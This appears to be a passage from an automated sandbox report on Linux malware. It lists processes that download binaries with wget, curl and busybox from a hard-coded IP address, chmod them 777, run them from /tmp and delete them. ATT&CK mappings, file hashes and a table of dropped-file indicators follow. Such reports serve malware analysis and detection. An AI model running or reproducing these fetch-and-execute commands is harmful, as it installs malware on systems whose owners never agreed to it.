- /tmp/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  ./ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - Executes dropped EXE
  PID:1644
- /bin/rm
  rm ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  PID:1645
- /usr/bin/wget
  wget http://87.120.84.230/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  PID:1646
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  - Writes file to tmp directory
  PID:1647
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  PID:1648
- /bin/chmod
  chmod 777 MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  - File and Directory Permissions Modification
  PID:1649
- /tmp/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  ./MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  - Executes dropped EXE
  PID:1650
- /bin/rm
  rm MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  PID:1651
- /usr/bin/wget
  wget http://87.120.84.230/bins/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - System Network Configuration Discovery
  PID:1652
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1653
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - System Network Configuration Discovery
  PID:1654
- /bin/chmod
  chmod 777 Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - File and Directory Permissions Modification
  PID:1655
- /tmp/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  ./Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1656
- /bin/rm
  rm Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - System Network Configuration Discovery
  PID:1657
- /usr/bin/wget
  wget http://87.120.84.230/bins/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  PID:1658
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  - Writes file to tmp directory
  PID:1659
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  PID:1660
- /bin/chmod
  chmod 777 cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  - File and Directory Permissions Modification
  PID:1661
- /tmp/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  ./cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  - Executes dropped EXE
  PID:1662
- /bin/rm
  rm cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  PID:1663

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX

Path /tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX	1492	rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
/tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2	1498	dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
/tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8	1504	5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
/tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo	1518	5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
/tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8	1524	ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
/tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn	1530	FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
/tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory	1536	MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
/tmp/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E	1542	FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
/tmp/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE	1548	TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
/tmp/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv	1554	ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
/tmp/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf	1560	MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
/tmp/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB	1566	Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
/tmp/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW	1572	cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
/tmp/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN	1578	iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
/tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX	1584	rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
/tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2	1590	dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
/tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8	1596	5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
/tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo	1602	5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
/tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8	1608	ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
/tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn	1614	FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
/tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory	1620	MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
/tmp/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E	1626	FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
/tmp/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE	1632	TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
/tmp/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN	1638	iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
/tmp/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv	1644	ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
/tmp/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf	1650	MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
/tmp/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB	1656	Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
/tmp/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW	1662	cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW